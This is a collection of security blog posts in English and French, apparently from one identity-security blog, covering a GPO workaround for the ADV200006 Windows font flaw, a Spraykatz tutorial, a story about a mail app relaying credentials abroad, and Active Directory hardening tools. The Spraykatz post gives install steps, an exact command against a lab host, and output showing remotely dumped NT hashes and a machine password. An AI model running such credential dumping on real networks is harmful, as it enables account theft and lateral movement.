Zero-day ADV200006 – How to use GPOs to mitigate your Windows risks

What is the problem?

As you may know, a new zero-day vulnerability (ADV200006) was raised by the security community. This vulnerability targets Windows systems with Adobe Acrobat installed on it, so as you can imagine, it is a very large impact. The problem occurs if the user opens some infected PDF documents or if the user uses thumbnails in the preview pane to visualize a PDF document.

ADV200006 is using Adobe Type Manager which is managed by the atmfd.dll file. The atmfd.dll file is a kernel module provided by Windows. Using a specially infected document opened or view it in the Windows preview pane, an unauthenticated remote attacker may be able to execute additional code using this Adobe Type Manager Library with kernel privileges on a vulnerable system.

If you are using the sandbox feature on Windows 10, the impact of the attack is limited – but if you are using Windows 10 without sandbox feature activated or a previous version of Windows on your workstations, it will be a huge risk for your organization.

Unfortunately, Microsoft didn’t provided any fix (date is today 2020/03/28) for the moment – for sure it will – in the meantime you must deploy a workaround to change your workstations configuration and be able to wait for the Microsoft patch.

You can read more details about ADV200006 using this Microsoft link: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/adv200006

How to mitigate this in a corporate environment?

You can use different mitigation methods, but there are existing some variations depending which Windows versions you are using on your corporate network. So, I choose to describe a mitigation method which will work on your different operating systems from Vista to 10.

Create the first GPO with the user part of the mitigation settings

Open your GPMC console.

Right click on the « Group Policy Objects » folder and select the New option:

For example, name your GPO « GPO_SECU_zeroD_ADV2000068_U-settings ».

Right click on the new GPO and select the Edit… option:

Go to User Configuration | Policies | Administrative Templates | Windows Components – Select File Explorer section:

Set to Enabled these two GPO options: « Turn off display of thumbnails and only display icons » + « Turn off the display of thumbnails and only display icons on network folders« :

So, at the end you should have this:

Close you GPO and link this GPO with all the automation office user accounts in your organization (in a nutshell, all the user accounts which can be used on your workstation).

Create the second GPO with the computer part of the mitigation settings

Important: you must use the GPMC tool from a workstation, not from a server, because the service we will want to control doesn’t have the same name on a Windows Server operating system.

Open your GPMC console.

Right click on the « Group Policy Objects » folder and select the New option:

For example, name your GPO « GPO_SECU_zeroD_ADV2000068_C-settings ».

Right click on the new GPO and select the Edit… option:

Go to Computer Configuration | Policies | Windows Settings | Security Settings – Select System Services section:

Double click on the WebClient service in the right panel and select the following options:

So, at the end you should have this:

Close you GPO and link this GPO with all the workstation computer accounts in your organization.

What is next?

Now you must follow and check when Microsoft will release a patch for this zero-day vulnerability. Have a look on this link: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/adv200006 or follow the your habitual security gurus.

When you will get the patch from Microsoft, and after you will apply it, you will be able to revert these two GPOs.

Stay safe.

Spraykatz : a fantastic tool for Blueteam or Redteam who want to evaluate lateral movement or privilege escalation weakness on Active Directory environments

Introduction to Spraykatz

As you may know, password hash dump is a very useful method to perform lateral movement or privilege escalation on a network. If you are using Active Directory, this method will be used by a lot of modern malware which include some code pieces from very known security tools like Mimikatz for example.

In this article, we will explorer Spraykatz (v0.9.6) a magnificent tool written by @lydericlefebvre which can help in different situations:

  • BlueTeam: you want to evaluate how much sensible you are in term of password hash dump, and detect if some malwares or attackers can use this method to find some privilege accounts traces on your workstations
  • RedTeam: you want to explore the workstations and find a privilege account to use during your escalation
  • Security Officer, CISO: you want to demonstrate to your internal people how malware can use password hashes in order to educate your people about security issues

Spraykatz is a tool able to retrieve credentials on Windows machines and large Active Directory environments. It simply tries to procdump machines and parse dumps remotely in order to avoid detections by antivirus softwares as much as possible.

Spraykatz uses slighlty modified parts of the following projects:

  • Mimikatz
  • Impacket
  • Pypykatz
  • Pywerview
  • Sysinternals
  • hackndo

How to install Spraykatz

For this article I was using a Kali distro, but you can use ubuntu as well (I tested it on both distros and worked like a charm).

Let’s be root:

sudo su

Get information about your system updates and update the index file for future updates:

root@kali:~# apt update

Reading package lists… Done

Building dependency tree

Reading state information… Done

All packages are up to date.

Ok, here I already have everything updated on my Kali system.

If you don’t have already the last version of python, git and nmap, update it:

root@kali:/tmp/mimipenguin-master# apt install -y python3.6 python3-pip git nmap

Reading package lists… Done

Building dependency tree

Reading state information… Done

Note, selecting ‘python3.6-cups’ for regex ‘python3.6’

Note, selecting ‘python3.6-cairo’ for regex ‘python3.6’

Note, selecting ‘python3.6-2to3’ for regex ‘python3.6’

Note, selecting ‘python3.6-urwid’ for regex ‘python3.6’

Note, selecting ‘python3.6-smbc’ for regex ‘python3.6’

Note, selecting ‘libpython3.6-stdlib’ for regex ‘python3.6’

Note, selecting ‘python3.6-crypto’ for regex ‘python3.6’

Note, selecting ‘python3-cairo’ instead of ‘python3.6-cairo’

Note, selecting ‘python3-crypto’ instead of ‘python3.6-crypto’

Note, selecting ‘python3-cups’ instead of ‘python3.6-cups’

Note, selecting ‘python3-smbc’ instead of ‘python3.6-smbc’

Note, selecting ‘python3-urwid’ instead of ‘python3.6-urwid’

git is already the newest version (1:2.20.1-2).

git set to manually installed.

nmap is already the newest version (7.70+dfsg1-6kali1).

nmap set to manually installed.

python3-cairo is already the newest version (1.16.2-1+b1).

python3-crypto is already the newest version (2.6.1-9+b1).

python3-cups is already the newest version (1.9.73-2+b1).

python3-pip is already the newest version (18.1-5).

python3-smbc is already the newest version (1.0.15.6-1+b2).

python3-urwid is already the newest version (2.0.1-2+b1).

0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Ok, here I already have everything updated on my Kali system.

Now, our system is ready to install Spraykatz from Github:

root@kali:~# git clone –recurse-submodules https://github.com/aas-n/spraykatz.git

Cloning into ‘spraykatz’…

remote: Enumerating objects: 29, done.

remote: Counting objects: 100% (29/29), done.

remote: Compressing objects: 100% (27/27), done.

remote: Total 383 (delta 8), reused 5 (delta 1), pack-reused 354

Receiving objects: 100% (383/383), 21.51 MiB | 761.00 KiB/s, done.

Resolving deltas: 100% (207/207), done.

Submodule ‘submodules/impacket’ (https://github.com/SecureAuthCorp/impacket.git) registered for path ‘submodules/impacket’

Cloning into ‘/root/spraykatz/submodules/impacket’…

remote: Enumerating objects: 17060, done.

remote: Total 17060 (delta 0), reused 0 (delta 0), pack-reused 17060

Receiving objects: 100% (17060/17060), 5.64 MiB | 824.00 KiB/s, done.

Resolving deltas: 100% (13026/13026), done.

Submodule path ‘submodules/impacket’: checked out ‘d6b5bd4e2f3fe3e9fa252dcd2a1dd76faa0c5395’

Now Spraykatz is cloned on your system.

Go to the Spraykatz folder:

root@kali:~# cd spraykatz

And use pip to install packages from the index (requirements.txt):

root@kali:~/spraykatz# pip3 install -r requirements.txt

Requirement already satisfied: pyCryptodomex in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (3.6.1)

Requirement already satisfied: pyasn1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (0.4.2)

Requirement already satisfied: pyOpenSSL in /usr/lib/python3/dist-packages (from -r requirements.txt (line 3)) (19.0.0)

Collecting pypykatz>=0.3.0 (from -r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/68/4a/2436e462a7c9ad3df263f5b14998b664bdc62f2d4352af142b5defafeada/pypykatz-0.3.2-py3-none-any.whl (271kB)

100% |████████████████████████████████| 276kB 749kB/s

Requirement already satisfied: lxml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 5)) (4.3.2)

Collecting minidump>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/6b/4e/ae61bddb6d5ada7ee0e718d08b697a58aba66bdd1428b83e06c5ba914579/minidump-0.0.11-py3-none-any.whl (62kB)

100% |████████████████████████████████| 71kB 1.3MB/s

Collecting minikerberos>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/ae/87/0063d15dcb43a7a0746f57c69dfc1ee86b0608728d40d3791f06fa8b046a/minikerberos-0.0.11-py3-none-any.whl (96kB)

100% |████████████████████████████████| 102kB 402kB/s

Collecting msldap>=0.1.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/9d/5b/a8d65a7a8aa047f0312b0cda890ab06a64c5d3f364374c1603af2acebb95/msldap-0.2.5-py3-none-any.whl (40kB)

100% |████████████████████████████████| 40kB 1.1MB/s

Collecting aiowinreg>=0.0.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/59/25/31cd1c57c8322e1e88d246d923bb00a88e326722c238b3a466d411d73fd4/aiowinreg-0.0.2-py3-none-any.whl

Collecting winsspi>=0.0.3 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/65/fe/5aa78fe5983f9203cca9453c771711cfe6eafc91870cab7294f201d5d0a8/winsspi-0.0.3-py3-none-any.whl

Requirement already satisfied: asn1crypto in /usr/lib/python3/dist-packages (from minikerberos>=0.0.11->pypykatz>=0.3.0->-r requirements.txt (line 4)) (0.24.0)

Collecting asciitree (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/2d/6a/885bc91484e1aa8f618f6f0228d76d0e67000b0fdd6090673b777e311913/asciitree-0.3.3.tar.gz

Collecting socks5line>=0.0.3 (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/2f/51/9b64da14e5bddb19abd8fd9a0d7c9b564b0e860ae5c52f8090af6dbfa02a/socks5line-0.0.3-py3-none-any.whl

Collecting aiocmd (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/a7/d7/1237391649ab4d86a6d5520361727e938b4ec47df834e688189dd83642bf/aiocmd-0.1.2-py3-none-any.whl

Requirement already satisfied: ldap3<2.5.2 in /usr/lib/python3/dist-packages (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4)) (2.5.1)

Collecting prompt-toolkit>=2.0.9 (from aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/7f/1f/e145dd467dc9b0e6f1e64232c03119498dfec497e383f1e8be9f83eaa97e/prompt_toolkit-3.0.2-py3-none-any.whl (344kB)

100% |████████████████████████████████| 348kB 711kB/s

Collecting wcwidth (from prompt-toolkit>=2.0.9->aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/7e/9f/526a6947247599b084ee5232e4f9190a38f398d7300d866af3ab571a5bfe/wcwidth-0.1.7-py2.py3-none-any.whl

Building wheels for collected packages: asciitree

Running setup.py bdist_wheel for asciitree … done

Stored in directory: /root/.cache/pip/wheels/1d/d9/58/9808b306744df0208fccc640d3d9952a5bc7468502d42897d5

Successfully built asciitree

Installing collected packages: minidump, minikerberos, asciitree, socks5line, wcwidth, prompt-toolkit, aiocmd, msldap, aiowinreg, winsspi, pypykatz

Successfully installed aiocmd-0.1.2 aiowinreg-0.0.2 asciitree-0.3.3 minidump-0.0.11 minikerberos-0.0.11 msldap-0.2.5 prompt-toolkit-3.0.2 pypykatz-0.3.2 socks5line-0.0.3 wcwidth-0.1.7 winsspi-0.0.3

Now Spraykatz is fully installed!

How to use Spraykatz

Spraykatz is very simple to use. To use it, you will need to determine:

  • Which account to use to perform the exploration – here you need to use privilege account (i.e local Admin privilege) on the target system, you may had discovered this type of account from different methods, or even worse, the company is providing regular user accounts which are local Admin on the workstation.
  • Which machine or which machines range you want to target.

In this document example, we will use the following settings:

  • Active Directory domain: win2019.priv
  • Account which has local Admin privilege on the target computer: dark
  • Account password: demo_spraykatz
  • Target computer: 10.0.0.201
root@kali:~/spraykatz# ./spraykatz.py -u dark@win2019.priv -p demo_spraykatz -t 10.0.0.201


[#] Hey, did you read the code?

[+] Listing targetable machines into networks provided. Can take a while…

[+] Checking local admin access on targets…

[~] 10.0.0.201 is pwnable!

[+] Exec procdump on targets. Be patients…

[~] ProcDumping 10.0.0.201. Be patient…

[#] Uploading procdump to 10.0.0.201…

[#] Executing procdump on 10.0.0.201…

[#] Creating dump’s file descriptor on 10.0.0.201…

[#] Parsing 10.0.0.201’s dump remotely…

         machine: 10.0.0.201

         domain: WIN10CLI02

        username: blackhat

         nthash: 329153f560eb329c0e1deea55e88a1e9

         machine: 10.0.0.201

         domain: WIN2019

        username: WIN10CLI02$

         nthash: fcdc607666845acba172b460939f8fa9

         machine: 10.0.0.201

         domain: win2019.priv

        username: WIN10CLI02$

        password: 31d47f5578cd912fd4e6d88a1bc86be46d7d37c2ffd05251b1c98cdd77e71cc37f08504087f18e572162655604adac497b156fdcb9b20b56f0ec5fe3c64b42b96cfbf6e26b5e8017d215479a2d456cf902e36ddad8dae64319f3d9fa79c1dee884c887834af056e459bf3ce3094dad4e1004985518b112e4dbfe24b4eb90a37248d71ef3a79507f4ad68d4b1a233c19448a56f06763079405b08d6e300a5a4e9eb11dc219ca52c5d3edead8fd1ef3ee7b211cbf6af66cc45ed6f090e4f1eb7968cf5cfffdbe06e919440b51056b5586869fefea7296a4c437c2faf240b90f86a4ebdf450fd2b8990061fd58abeef6e76

         machine: 10.0.0.201

         domain: WIN2019

        username: han

         nthash: 329153f560eb329c0e1deea55e88a1e9

         machine: 10.0.0.201

         domain: WIN2019

        username: root

         nthash: 329153f560eb329c0e1deea55e88a1e9

[#] Closing dump file on 10.0.0.201…

[#] Deleting procdump on 10.0.0.201…

[#] Deleting dump on 10.0.0.201…

[+] Credentials logged into: /root/spraykatz/misc/results/creds.txt

[+] Exiting Gracefully…

On the target system, we can retrieve the nthash for the following accounts:

  • Users accounts who already opened a session on the target system:

  • Computer account for the target system:

These are some additional information about how to use SprayKatz:

  • Mandatory arguments

  • Optional arguments

Spraykatz usefull information

Download page from GitHub

GitHub page: https://github.com/aas-n/spraykatz

Author Twitter account

https://twitter.com/lydericlefebvre

Très bonne vidéo sur l’usage d’Active Directory pendant des attaques organisées

Si vous vous intéressez aux principes d’attaques et d’exploit, vous trouverez dans cette vidéo des informations importantes vous permettant de mieux comprendre comment les groupes cyber-criminels utilisent Active Directory pour se répandre dans les organisations, et bien sur quelques trucs et astuces pour mieux vous protégez.

Le présentateur prend en exemple le fonctionnement du malware Ryuk et explique notamment la notion de DomainGrabber, permettant de mieux appréhender comment la première partie d’un malware est en fait un code latent réalisant la reconnaissance – l’infection par Ryuk n’étant que l’étape finale.

Contes et légendes informatiques inachevées – Livre 1 « Sécurité Informatique : toujours se méfier des applications mobiles gratuites… »

Contes et légendes informatiques inachevées – Livre 1 « Sécurité Informatique : toujours se méfier des applications mobiles gratuites… »

Je m’en vais vous conter une bien étrange histoire… Mais je vais vous donner la morale de l’histoire au début de celle-ci : se méfier, toujours se méfier des services ou applications gratuits.

Chapitre 1 : un appel au secours

Je suis à Genève, chez un de mes clients quand je reçois l’appel d’un ami qui me dit avoir un problème avec son compte email. Mon ami Cyril est arbitre de handball, et suivant mon conseil il s’est créé une adresse email dédiée pour dialoguer avec la FFHB. Il utilise une adresse en @outlook.fr et consulte ses emails depuis son PC ou depuis son mobile Android. Il n’est pas très féru d’informatique, mais aucun problème pour lui quant au paramétrage d’une boite email sur un mobile, il fait lui-même office de référent informatique auprès de sa petite famille !

Il m’explique que sa boite email est bloquée, qu’il n’arrive plus à se connecter. Etant à l’étranger, et ne pouvant pas passer rapidement chez lui, il m’envoie son login+mdp, oui je sais ce n’est pas bien, mais cet ami c’est la famille, donc pas de problème de confidentialité entre nous. Je teste rapidement depuis mon PC, et effectivement l’interface outlook.com m’indique que la boite a été bloquée par mesure de sécurité car une activité suspecte a été détectée. Dans ce cas il faut suivre une procédure de déblocage avec un envoi de code unique part SMS sur le numéro de GSM fourni à la création de la boite email. Comme je suis chez un client et que je ne suis pas trop disponible, je lui dis que nous voyons tout cela à mon retour. Nous convenons de nous rappeler, et je vaque à mes activités sécurité chez mon client. 2 jours après, retour en France.

Chapitre 2 : la hotline personnelle

Le Samedi suivant je rappel Cyril pour commencer mon service de hotline personnelle (tout bon consultant informatique sert de hotline à ses amis, ses enfants, ses parents, ses cousins, les amis des cousins, les amis des amis, etc.) – je commence par me connecter à sa boite email via mon navigateur et débute la procédure de déblocage habituelle : envoi de code par SMS, etc. J’en profite pour ajouter quelques paramètres de sécurité sur son compte – au bout de 5 minutes, tout fonctionne. Il teste de son côté, pareil, tout est ok.

Futuroscope Yes GIF - Find & Share on GIPHY

Chapitre 3 : Le marché aux tulipes

Une fois la situation stabilisée, je l’interroge, as-tu changé quelque chose qui pourrait expliquer le blocage de ton compte ? il m’assure que non. Je me connecte alors sur le résumé d’activité de son compte outlook.com pour vérifier si quelqu’un n’aurait pas « pirater » (mot qui ne veut rien dire mais que tout le monde comprend) sa boite email.

Les surprises commencent.

Je visualise la dernière connexion depuis mon PC :

Et je vois aussi d’autres connexions depuis son téléphone mobile après le déblocage (il a en effet testé depuis son PC et depuis son mobile) – et je vois que la connexion depuis son mobile a été réalisée depuis… les Pays-Bas !

Nous faisons plusieurs tests, et nous constatons que via usage du mobile, plusieurs adresses IP sont utilisées, elles commencent toutes par 185.30.x.x et semblent provenir des Pays-Bas.

Mon premier réflexe est de penser que l’algorithme de localisation des IPs à perdu les pédales chez Microsoft (cela m’est déjà arrivé il y a un an chez un client utilisateur d’Azure AD) je vérifie donc le range IP et sa provenance éventuelle, effectivement range IP associé aux Pays-Bas :

Je commence sérieusement à me poser des questions…

Cyril me confirme que son opérateur GSM est Free Mobile, je me dis « tiens curieux Free Mobile utilise des IP à l’étranger », je vérifie alors qu’elles sont les IP attribuées à Free Mobile :

Rien au Pays-Bas… et surtout des adresses qui commencent par 37.x.x.x. Je commence à y perdre mon Latin (Rosa, Rosae, etc…)

Chapitre 4 : Le pot aux roses du gratuit

Je demande à Cyril de vérifier l’adresse IP publique qu’il a sur son mobile actuellement, et là surprise, il s’agit bien d’une adresse Free…commençant par 37.

Bon reprenons, quand Cyrill se connecte à Outlook.com depuis son PC, aucun problème, adresse IP Française. Quand Cyril se connecte depuis son Android via Free Mobile, adresse IP aux Pays-Bas sur Outlook.com alors qu’il a bel et bien une adresse IP publique Free sur son mobile.

Je me calme… et réfléchi deux minutes… et là bingo ! La seule chose qui est « entre » l’OS mobile et Outlook.com, c’est… l’application mobile qu’il utilise pour se connecter à sa boite email. Je lui demande quelle application mobile il utilise, réponse myMail. Il me dit « c’est super, c’est simple et c’est gratuit »

Bon là mon sang se glace, il a dit le mot clé maudit « gratuit ».

Par expérience, rien n’est gratuit, si effectivement cette application est gratuite et est aussi parfaite que semble le dire Cyril, il y a un loup, c’est évident. Cela me rappel un consultant IAM tout juste sorti du moule qui ne comprenait pas pourquoi je préférais acheter le browser LDAP LEX pour travailler chez les clients plutôt que d’utiliser des trucs opensource depuis sourceforge… Il comprendra avec l’expérience.

Je commence quelques recherches sur Internet, et là je comprends…Je vous conseille la lecture de ce document du ministère de l’éducation: https://ssi.univ-lille.fr/sites/ssi.univ-lille.fr/files/ssi/20160401_Fiche_MyMail.pdf

Pour résumé, myMail est en fait un service hébergé sur des serveurs aux Pays-Bas et en Russie (déjà cela sent bon l’embrouille) – quand vous installez l’application depuis Google Play ou depuis Apple Store et paramétrez ensuite cette application avec vos identifiants (login+mdp) disons en utilisant IMAP, vos identifiants ainsi que votre configuration n’est pas stockée sur votre mobile mais sur les fameux serveurs à l’étranger.

La connexion IMAP se fait alors entre le serveur (Aux Pays-Bas ou en Russie) et votre service de messagerie, puis via HTTPS, le service web des serveurs poussent ou tirent les emails vers ou depuis votre application mobile myMail.

Cela signifie que le service myMail monnaie ensuite vos identifiants à des personnes tierces…ou à minima vend des informations sur vous et votre usage de l’email.

Cyril utilise cette application depuis longtemps, ces identifiants devaient etre stockés aux Pays-bas, et ce depuis le début. Donc pour Outlook.com, comportement normal. Je remonte dans les logs de connexion Outlook.com et surprise vois une connexion depuis la Russie, et la date correspond au blocage par sécurité du compte de Cyril. Le service web sur les Pays-Bas a basculé (pour incident ou maintenance) sur des serveurs Russes pendants quelques heures, ceci a été détecté et bloqué par Outlook.com

La recommandation est alors de :

  1. Changer vos identifiants sur myMail en mettant un mot de passe bidon
  2. Faire un test de connexion pour bien vérifier que cela ne fonctionne plus et que le service n’a plus accès à vos emails
  3. Désinstaller cette application

Pour terminer, Cyril installe l’application mobile Microsoft Outlook et la paramètre. Fin de l’embrouille.

Chapitre 5 : Le gratuit n’existe pas

Déjà il ne faut pas confondre deux choses : Open Source et Gratuit.

Travaillant dans la sécurité informatique, je suis un gros consommateur de solutions Open-Source (bloodhound, metaxploit, empire, etc.) – J’utilise aussi des produits de sécurité non-open-source, compilés, mais qui sont payants et dont je connais parfaitement l’éditeur. Peu m’importe le prix, si cela a suffisamment de valeur, il faut juste regarder le rapport qualité/prix – le prix seul ne veut rien dire.

MAIS

Ne jamais utiliser d’applications gratuites non-open-source – sauf si cela vient d’un éditeur établi – car là c’est assurément le début des problèmes…

Conclusion

Cette petite histoire (vraie) nous rappelle aussi une chose : la recherche, les tests, la curiosité sont la base de la connaissance. Comment aurais-je pu imaginer tomber sur quelque chose de semblable pour un simple problème de connexion à une boite email servant à des arbitres de HandBall…

Tout ce que vous avez voulu savoir sur Azure AD + MFA sans avoir jamais osé le demander !

Je suis tombé un peu par hasard sur une série d’articles faisant un focus sur la fonction MFA en liaison avec Azure AD. Ces articles abordent des thèmes avec une grosse profondeur technique sous la forme une question / une réponse.

Exemples de question:

=> Is there any equivalent feature in the Azure MFA Server for  » Allow users to remember multi-factor authentication on devices they trust  » that is available in Azure MFA?

=> Is there a way for us to migrate users [from our Azure MFA Server] to Azure MFA so there is no action required from the user’s perspective?

=> Can you/How do you secure on-prem OWA with MFA?

C’est franchement très riche et doit être lu par tous les spécialistes Azure AD + les personnes travaillant dans la sécurité en général et sur le MFA en particulier.

Ce qui est extrêmement intéressant avec le format, c’est que:

1/ cela permet de gagner en profondeur technique sur le sujet

2/ cela ouvre l’esprit sur des problématiques techniques auxquelles nous ne pensons pas

3/ cela permet de se projeter sur l’ensemble des usages possibles

 

La liste des liens vers les articles des Q&A disponibles pour l’instant :

Round 1: https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Azure-AD-Mailbag-Q-amp-A-on-Azure-MFA/ba-p/244217

Round 2: https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Azure-AD-Mailbag-MFA-Q-amp-A-Round-2/ba-p/244222

Round 3: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/Azure-AD-Mailbag-MFA-Q-amp-A-Round-3/ba-p/249683

Round 4: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/Azure-AD-Mailbag-MFA-Q-amp-A-Round-4/ba-p/249802

Round 5: https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/AzureAD-Mailbag-MFA-Q-amp-A-Round-5/ba-p/245033

Round 6: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/AzureAD-Mailbag-MFA-Q-amp-A-Round-6/ba-p/250071

Round 7: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/AzureAD-Mailbag-MFA-Q-amp-A-Round-7/ba-p/250088

Round 8: https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Azure-AD-Mailbag-MFA-Q-amp-A-Round-8/ba-p/390334

A consommer sans modération aucune !

 

U.S. CyberSecurity organizations blueprint

I recently had a discussion with one of my customers, who is French. We were talking about the different security frameworks from the different countries. When i started to explained all the contains which are directly or indirectly provided by the U.S. Government, i wasn’t able to be  crytal clear… So i decided to create a simple blueprint which provides a map of the different organizations, the relationships and what is provided to the community. if you want to download it, you get it from: US_cybersecurity_organizations_V1.0

I will try to update it from a regular basis. Sylvain.

Excellente vidéo sur la façon dont Microsoft gère les accès aux comptes privilégiés en interne

C’est une table ronde avec des experts de chez Microsoft, et c’est très instructif. D’habitude je ne regarde pas trop ce type de vidéo car je m’ennuie rapidement, mais là j’avoue que c’est assez passionnant et instructif. Vous vous voulez savoir comment Microsoft gère ses accès aux comptes privilégiés ? c’est ici:

AD Hardening: Microsoft Security Compliance Manager & Microsoft Security Compliance Toolkit

Comme vous le savez, je travaille énormément sur les concepts de AD Hardening de manière à réaliser des re-design d’installation Active Directory afin que l’IT global des organisations soit le moins sensible possible aux attaques de malware (attaques indirectes) ou aux attaques directes.

Dans ce cadre, la recommandation de Microsoft est de segmenter l’environnement lié à l’annuaire Active Directory en trois tiers : Tier 0, Tier 1 et Tier 2 – le Tier 2 représentant globalement les workstations :

Globalement, l’effort de travail et d’investissement se fait bien évidement sur la couche Tier 0 (qui voudrait voir ses contrôleurs de domaine compromis ?) – cela est bien normal, car un re-design AD est un effort colossal pour la plupart des organisations, et elles mettent généralement le focus sur la sécurisation des contrôleurs de domaine. Néanmoins, attention, il ne faut pas oublier que les attaques proviennent à 90% de Tier 2 (voir la règle #2 d’un autre de mes post : https://www.identitycosmos.com/http:/www.identitycosmos.com/non-classe/the-good-old-arcade-games-teach-us-about-today-cybersecurity-rules).

Il est effectivement impossible de sécuriser à 100% la couche Tier 2, mais Microsoft nous fournit un ensemble d’outils permettant de nous faciliter le travail. Ces outils sont assez méconnus, car gratuits ! Je sais, cela parait curieux, mais quel intérêt aurait un commercial Microsoft à vous parler d’un outil gratuit ?

Microsoft Security Compliance Manager

Microsoft Security Compliance Manager (SCM de son petit nom) est un outil relativement ancien, je dirais qu’il existe depuis environ 6 ou 7 ans. D’abord en version 1, puis 2, puis 3 jusqu’à la dernière version en 4.0. Cet outil permet d’utiliser des modèles de sécurité prédéfinis et d’appliquer ces modèles sur les postes de travail ou même les serveurs membres soit par GPO, soit par System Center Configuration Manager (via la fonction DCM).

Plus d’informations sur l’outils en V4 [ ICI ]

La dernière version de l’outil intègre des modèles pour Windows 10 V.1511 et pour Windows Server 2016.

Même si cet outil est très intéressant, je ne passerai pas trop de temps dessus car il a été remplacé par un nouvel outil : Microsoft Security Compliance Toolkit

Microsoft Security Compliance Toolkit

Microsoft Security Compliance Toolkit est donc le remplaçant de Microsoft Security Compliance Manager, il est actuellement en version 1.0. Vous trouverez des informations générales sur l’outil sur cette page de Microsoft [ ICI ].

Le kit de base est disponible en téléchargement [ ICI ].

Un update de ce kit de base assurant la compatibilité avec Windows 10 V.1809 et Windows Server 2019 est disponible en téléchargement [ ICI ] – Cet update contient en fait les mises à jours des référentiels de sécurité fournis par l’outil, ce que l’on appelle les Baselines, mais nous en parlerons plus loin dans cet article. Des informations complémentaires sur le contenu de cet update sont disponibles sur [ CET ARTICLE ].

Lorsque vous téléchargez SCT 1.0, le ZIP contient plusieurs éléments :

Dans le répertoire « PolicyAnalyzer », vous trouverez les éléments suivants :

Le document PDF « Policy Analyzer.pdf » donne des explications sur l’outil Policy Analyzer (qui est présent en version 3.2 dans SCT 1.0), pour être honnête, la documentation est médiocre, il faut être bien concentré pour comprendre le fonctionnement ! Globalement, Policy Analyzer va pouvoir faire plusieurs choses :

  • Comparer les configurations appliquées sur les machines avec des Baselines fournies par Microsoft – c’est la fonction principale de cet outil
  • Détecter les paramètres redondants appliqués au travers de plusieurs GPOs
  • Comparer les paramètres de GPO de domaine avec les clés de registre effectivement paramétrées sur les machines, cela pouvant mettre en évidence des problèmes d’application de GPO,et donc des problèmes de conformité

Par exemple, sur ce screenshot, on peut voir une comparaison de valeurs entre la valeur locale du paramètre (registre), le paramètre présent dans la GPO qui devrait s’appliquer et le modèle de sécurité préconisé par Microsoft (Baseline) :

L’ensemble des informations peut être exporté dans Excel :

Dans le répertoire « LGPO », vous trouverez les éléments suivants :

Le document PDF « LGPO.pdf » donne des explications sur l’outil Local Group Policy Object (qui est présent en version 2.2 dans SCT 1.0), à nouveau la documentation n’est pas terrible, il va falloir que Microsoft fasse un effort sur le sujet. Globalement, Local Group Policy Object va pouvoir faire plusieurs choses :

  • Importer des paramètres depuis des fichiers .POL
  • Importer des paramètres depuis des fichiers de type Security Template
  • Exporter les GPOs vers un backup
  • Exporter les GPOs pour réaliser une comparaison dans le premier outil du kit (Policy Analyzer)

L’outil est uniquement en ligne de commande – il était déjà présent dans Microsoft Security Compliance Manager – Cette vidéo donne quelques exemples d’utilisation de l’outil : https://www.youtube.com/watch?v=Dv6dq1YllnU

L’outil propose aussi des fichiers de Baseline pour chaque population de système :

Avec un update pour les dernières versions d’OS disponibles en téléchargement [ ICI ]. Chaque fichier ZIP, lorsqu’il est décompressé possède la même structure, par exemple ici pour Windows 2012 R2 :

Le répertoire « Documentation » contient un fichier Excel avec les paramètres recommandés :

Le répertoire « GP Reports » contient les fichiers équivalents au format Excel mais au format Report HTML tel que prévu dans la GPMC (L’outil de gestion des stratégies de groupe dans Active Directory) :

Le répertoire « GPOs » contient les paramètres au format GPO (plus être précis, au format GPT de la GPO) :

Le répertoire « WMI Filters » contient des filtres WMI tout prêts à être importés – bon je ne suis pas super fan des filtres WMI pour plein de raisons différentes, mais ils sont présents si vous voulez les utiliser:

Vous trouverez [ ICI ] des informations générales sur la notion de Security Baseline chez Microsoft.

Je vous laisse maintenant explorer par vous-même ce kit – pour être honnête son usage est relativement consommateur de temps, mais c’est un outil parfait pour s’assurer de la configuration de sécurité des machines Windows dans une environnement Active Directory – je vais essayer de réaliser rapidement un tutoriel complet de la solution. Je vais notamment rentrer en contact avec l’équipe produit pour voir comment il serait possible d’améliorer la documentation présente sur docs.microsoft.com, car pour l’instant c’est plus que léger.

N’hésitez pas à laisser vos commentaires sur ce post.

La technologie BlockChain est-elle le futur standard de la gestion des identités ?

